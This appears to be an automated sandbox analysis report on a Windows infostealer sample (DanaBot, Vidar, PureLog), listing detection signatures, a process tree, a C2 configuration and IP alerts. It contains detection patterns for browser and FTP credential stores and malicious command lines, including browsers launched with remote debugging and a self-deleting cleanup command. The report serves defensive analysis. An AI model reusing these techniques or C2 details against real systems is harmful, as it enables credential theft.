Edit tour

Windows Analysis Report
Handler.exe

Overview

General Information

Sample name:	Handler.exe
Analysis ID:	1592136
MD5:	5fd322ce6e87bae023155e3d548d7280
SHA1:	1e193832da505b7416f01a108e134d4cfb56f6e5
SHA256:	1d16053d1910ba274b25d60a462fd4e7b75ae1454315dbfcf013b872f02dcdf3
Tags:	c2exevidaruser-Lars
Infos:

Detection

DanaBot, PureLog Stealer, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DanaBot stealer dll

Yara detected PureLog Stealer

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the installation date of Windows

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Handler.exe (PID: 4276 cmdline: "C:\Users\user\Desktop\Handler.exe" MD5: 5FD322CE6E87BAE023155E3D548D7280)

Handler.exe (PID: 2968 cmdline: "C:\Users\user\Desktop\Handler.exe" MD5: 5FD322CE6E87BAE023155E3D548D7280)

chrome.exe (PID: 7056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2328,i,896341392617718342,12355125796449792821,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2752 --field-trial-handle=2536,i,12924977744264181476,18165705626258018536,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

us0r9ri58y.exe (PID: 8732 cmdline: "C:\ProgramData\us0r9ri58y.exe" MD5: 0A6AE4DE16757CD121632BAD3A903EDA)

cmd.exe (PID: 2460 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\8q9zu" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 8812 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 6468 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4276 -s 912 MD5: C31336C1EFC2CCB44B4326EA793040F2)

msedge.exe (PID: 8148 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7684 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8368 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8380 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7068 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8752 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6988 --field-trial-handle=2100,i,17242345688467426598,17509230438713182026,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199817305251", "Botnet": "fc0stn"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Handler.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38fdbe:$f1: FileZilla\recentservers.xml 0x38fd7a:$f2: FileZilla\sitemanager.xml 0x3ba3b0:$b1: Chrome\User Data\ 0x3c0e54:$b1: Chrome\User Data\ 0x3c1970:$b1: Chrome\User Data\ 0x3a1524:$b2: Mozilla\Firefox\Profiles 0x3b52e8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3e0170:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b3cd2:$b4: Opera Software\Opera Stable\Login Data 0x3ba480:$b5: YandexBrowser\User Data\ 0x3d2dee:$s5: account.cfn 0x3b31b0:$s6: wand.dat 0x3b2c64:$a1: username_value 0x3b9224:$a1: username_value 0x3b94f4:$a1: username_value 0x3bb9a8:$a1: username_value 0x3b2c90:$a2: password_value 0x3b927c:$a2: password_value 0x3b954c:$a2: password_value 0x3bba00:$a2: password_value 0x3bcaa4:$a3: encryptedUsername
C:\ProgramData\us0r9ri58y.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\ProgramData\us0r9ri58y.exe	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
C:\ProgramData\us0r9ri58y.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38fdbe:$f1: FileZilla\recentservers.xml 0x38fd7a:$f2: FileZilla\sitemanager.xml 0x3ba3b0:$b1: Chrome\User Data\ 0x3c0e54:$b1: Chrome\User Data\ 0x3c1970:$b1: Chrome\User Data\ 0x3a1524:$b2: Mozilla\Firefox\Profiles 0x3b52e8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3e0170:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b3cd2:$b4: Opera Software\Opera Stable\Login Data 0x3ba480:$b5: YandexBrowser\User Data\ 0x3d2dee:$s5: account.cfn 0x3b31b0:$s6: wand.dat 0x3b2c64:$a1: username_value 0x3b9224:$a1: username_value 0x3b94f4:$a1: username_value 0x3bb9a8:$a1: username_value 0x3b2c90:$a2: password_value 0x3b927c:$a2: password_value 0x3b954c:$a2: password_value 0x3bba00:$a2: password_value 0x3bcaa4:$a3: encryptedUsername
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2378670031.0000000004059000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000001.00000002.2661407306.0000000001473000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x53b8d:$str01: MachineID: 0x53bb6:$str02: Work Dir: In memory 0x53c50:$str03: [Hardware] 0x53c85:$str04: VideoCard: 0x53c92:$str05: [Processes] 0x53c9f:$str06: [Software] 0x53cab:$str07: information.txt 0x53cbc:$str08: %s\* 0x53df3:$str08: %s\* 0x52ad4:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x5264f:$str17: build_id 0x52687:$str18: file_data
00000000.00000000.2064432922.0000000000BD2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000000.2625608895.0000000000419000.00000020.00000001.01000000.00000014.sdmp	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
Process Memory Space: Handler.exe PID: 2968	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Handler.exe PID: 2968	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Handler.exe.4059550.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.0.Handler.exe.bd0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.2.Handler.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.Handler.exe.400000.0.raw.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x53b8d:$str01: MachineID: 0x53bb6:$str02: Work Dir: In memory 0x53c50:$str03: [Hardware] 0x53c85:$str04: VideoCard: 0x53c92:$str05: [Processes] 0x53c9f:$str06: [Software] 0x53cab:$str07: information.txt 0x53cbc:$str08: %s\* 0x53df3:$str08: %s\* 0x52ad4:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x5264f:$str17: build_id 0x52687:$str18: file_data
0.2.Handler.exe.4059550.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
22.0.us0r9ri58y.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
22.0.us0r9ri58y.exe.400000.0.unpack	JoeSecurity_DanaBot_stealer_dll	Yara detected DanaBot stealer dll	Joe Security
22.0.us0r9ri58y.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x38fdbe:$f1: FileZilla\recentservers.xml 0x38fd7a:$f2: FileZilla\sitemanager.xml 0x3ba3b0:$b1: Chrome\User Data\ 0x3c0e54:$b1: Chrome\User Data\ 0x3c1970:$b1: Chrome\User Data\ 0x3a1524:$b2: Mozilla\Firefox\Profiles 0x3b52e8:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3e0170:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x3b3cd2:$b4: Opera Software\Opera Stable\Login Data 0x3ba480:$b5: YandexBrowser\User Data\ 0x3d2dee:$s5: account.cfn 0x3b31b0:$s6: wand.dat 0x3b2c64:$a1: username_value 0x3b9224:$a1: username_value 0x3b94f4:$a1: username_value 0x3bb9a8:$a1: username_value 0x3b2c90:$a2: password_value 0x3b927c:$a2: password_value 0x3b954c:$a2: password_value 0x3bba00:$a2: password_value 0x3bcaa4:$a3: encryptedUsername
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\Handler.exe", ParentImage: C:\Users\user\Desktop\Handler.exe, ParentProcessId: 2968, ParentProcessName: Handler.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 7056, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Danabot Key Exchange Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:17:51.998608+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50233	194.32.76.77	443	TCP
2025-01-15T20:17:53.076910+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50234	45.76.251.57	443	TCP
2025-01-15T20:17:54.165241+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50235	194.32.76.77	443	TCP
2025-01-15T20:17:55.240103+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50236	45.76.251.57	443	TCP
2025-01-15T20:18:03.755453+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50241	194.32.76.77	443	TCP
2025-01-15T20:18:05.060557+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50242	45.76.251.57	443	TCP
2025-01-15T20:18:06.160435+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50243	194.32.76.77	443	TCP
2025-01-15T20:18:07.296624+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50244	45.76.251.57	443	TCP
2025-01-15T20:18:13.687116+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50249	194.32.76.77	443	TCP
2025-01-15T20:18:13.754168+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50250	45.76.251.57	443	TCP
2025-01-15T20:18:13.821719+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50251	194.32.76.77	443	TCP
2025-01-15T20:18:13.904282+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50252	45.76.251.57	443	TCP
2025-01-15T20:18:25.097470+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50257	194.32.76.77	443	TCP
2025-01-15T20:18:26.496340+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50258	45.76.251.57	443	TCP
2025-01-15T20:18:28.314948+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50259	194.32.76.77	443	TCP
2025-01-15T20:18:30.468381+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50260	45.76.251.57	443	TCP
2025-01-15T20:18:33.875993+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50269	194.32.76.77	443	TCP
2025-01-15T20:18:36.494176+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50270	45.76.251.57	443	TCP
2025-01-15T20:18:38.633084+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50271	194.32.76.77	443	TCP
2025-01-15T20:18:40.558233+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50272	45.76.251.57	443	TCP
2025-01-15T20:18:49.695123+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50277	194.32.76.77	443	TCP
2025-01-15T20:18:49.798134+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50278	45.76.251.57	443	TCP
2025-01-15T20:18:49.899707+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50279	194.32.76.77	443	TCP
2025-01-15T20:18:49.994486+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50280	45.76.251.57	443	TCP
2025-01-15T20:19:01.358154+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50285	194.32.76.77	443	TCP
2025-01-15T20:19:03.328542+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50286	45.76.251.57	443	TCP
2025-01-15T20:19:05.215618+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50287	194.32.76.77	443	TCP
2025-01-15T20:19:07.129454+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50288	45.76.251.57	443	TCP
2025-01-15T20:19:10.166155+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50293	194.32.76.77	443	TCP
2025-01-15T20:19:12.097474+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50294	45.76.251.57	443	TCP
2025-01-15T20:19:14.088789+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50295	194.32.76.77	443	TCP
2025-01-15T20:19:16.062978+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50296	45.76.251.57	443	TCP
2025-01-15T20:19:25.464129+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50301	194.32.76.77	443	TCP
2025-01-15T20:19:25.559118+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50302	45.76.251.57	443	TCP
2025-01-15T20:19:25.642253+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50303	194.32.76.77	443	TCP
2025-01-15T20:19:25.724881+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50304	45.76.251.57	443	TCP
2025-01-15T20:19:38.315364+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50314	194.32.76.77	443	TCP
2025-01-15T20:19:40.513593+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50315	45.76.251.57	443	TCP
2025-01-15T20:19:42.718601+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50316	194.32.76.77	443	TCP
2025-01-15T20:19:44.975171+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50317	45.76.251.57	443	TCP
2025-01-15T20:19:48.289577+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50322	194.32.76.77	443	TCP
2025-01-15T20:19:50.018480+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50324	45.76.251.57	443	TCP
2025-01-15T20:19:52.235886+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50325	194.32.76.77	443	TCP
2025-01-15T20:19:54.486236+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50326	45.76.251.57	443	TCP
2025-01-15T20:20:06.689081+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50331	194.32.76.77	443	TCP
2025-01-15T20:20:06.771657+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50332	45.76.251.57	443	TCP
2025-01-15T20:20:06.856552+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50333	194.32.76.77	443	TCP
2025-01-15T20:20:06.974269+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50334	45.76.251.57	443	TCP
2025-01-15T20:20:19.589458+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50339	194.32.76.77	443	TCP
2025-01-15T20:20:22.592140+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50340	45.76.251.57	443	TCP
2025-01-15T20:20:25.276113+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50341	194.32.76.77	443	TCP
2025-01-15T20:20:27.477145+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50342	45.76.251.57	443	TCP
2025-01-15T20:20:31.315847+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50347	194.32.76.77	443	TCP
2025-01-15T20:20:34.346825+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50348	45.76.251.57	443	TCP
2025-01-15T20:20:36.776949+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50353	194.32.76.77	443	TCP
2025-01-15T20:20:40.341709+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50354	45.76.251.57	443	TCP
2025-01-15T20:20:53.963375+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50359	194.32.76.77	443	TCP
2025-01-15T20:20:54.076474+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50360	45.76.251.57	443	TCP
2025-01-15T20:20:55.172218+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50361	194.32.76.77	443	TCP
2025-01-15T20:20:55.247598+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50362	45.76.251.57	443	TCP
2025-01-15T20:21:02.920261+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50367	194.32.76.77	443	TCP
2025-01-15T20:21:03.973539+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50368	45.76.251.57	443	TCP
2025-01-15T20:21:05.037404+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50369	194.32.76.77	443	TCP
2025-01-15T20:21:06.123673+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50370	45.76.251.57	443	TCP
2025-01-15T20:21:08.431164+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50375	194.32.76.77	443	TCP
2025-01-15T20:21:09.513404+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50376	45.76.251.57	443	TCP
2025-01-15T20:21:10.583396+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50377	194.32.76.77	443	TCP
2025-01-15T20:21:11.690409+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50378	45.76.251.57	443	TCP
2025-01-15T20:21:17.150696+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50383	194.32.76.77	443	TCP
2025-01-15T20:21:17.219318+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50384	45.76.251.57	443	TCP
2025-01-15T20:21:17.278993+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50386	194.32.76.77	443	TCP
2025-01-15T20:21:17.325112+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50387	45.76.251.57	443	TCP
2025-01-15T20:21:24.708407+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50392	194.32.76.77	443	TCP
2025-01-15T20:21:25.778499+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50393	45.76.251.57	443	TCP
2025-01-15T20:21:26.883319+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50394	194.32.76.77	443	TCP
2025-01-15T20:21:27.967576+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50395	45.76.251.57	443	TCP
2025-01-15T20:21:30.358496+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50400	194.32.76.77	443	TCP
2025-01-15T20:21:31.433444+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50401	45.76.251.57	443	TCP
2025-01-15T20:21:32.513407+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50402	194.32.76.77	443	TCP
2025-01-15T20:21:33.612902+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50403	45.76.251.57	443	TCP
2025-01-15T20:21:38.971622+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50408	194.32.76.77	443	TCP
2025-01-15T20:21:39.022759+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50409	45.76.251.57	443	TCP
2025-01-15T20:21:39.113564+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50410	194.32.76.77	443	TCP
2025-01-15T20:21:39.165919+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50411	45.76.251.57	443	TCP
2025-01-15T20:21:46.576684+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50416	194.32.76.77	443	TCP
2025-01-15T20:21:47.642464+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50417	45.76.251.57	443	TCP
2025-01-15T20:21:48.727329+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50418	194.32.76.77	443	TCP
2025-01-15T20:21:49.797362+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50419	45.76.251.57	443	TCP
2025-01-15T20:21:53.154085+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50424	194.32.76.77	443	TCP
2025-01-15T20:21:54.238451+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50425	45.76.251.57	443	TCP
2025-01-15T20:21:55.324576+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50426	194.32.76.77	443	TCP
2025-01-15T20:21:56.401480+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50427	45.76.251.57	443	TCP
2025-01-15T20:22:02.754800+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50432	194.32.76.77	443	TCP
2025-01-15T20:22:02.824784+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50433	45.76.251.57	443	TCP
2025-01-15T20:22:02.879427+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50434	194.32.76.77	443	TCP
2025-01-15T20:22:02.937630+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50435	45.76.251.57	443	TCP
2025-01-15T20:22:10.338514+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50440	194.32.76.77	443	TCP
2025-01-15T20:22:11.423189+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50441	45.76.251.57	443	TCP
2025-01-15T20:22:12.523479+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50442	194.32.76.77	443	TCP
2025-01-15T20:22:13.606522+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50443	45.76.251.57	443	TCP
2025-01-15T20:22:16.938813+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50448	194.32.76.77	443	TCP
2025-01-15T20:22:18.022504+0100	2034465	1	Malware Command and Control Activity Detected	192.168.2.5	50449	45.76.251.57	443	TCP
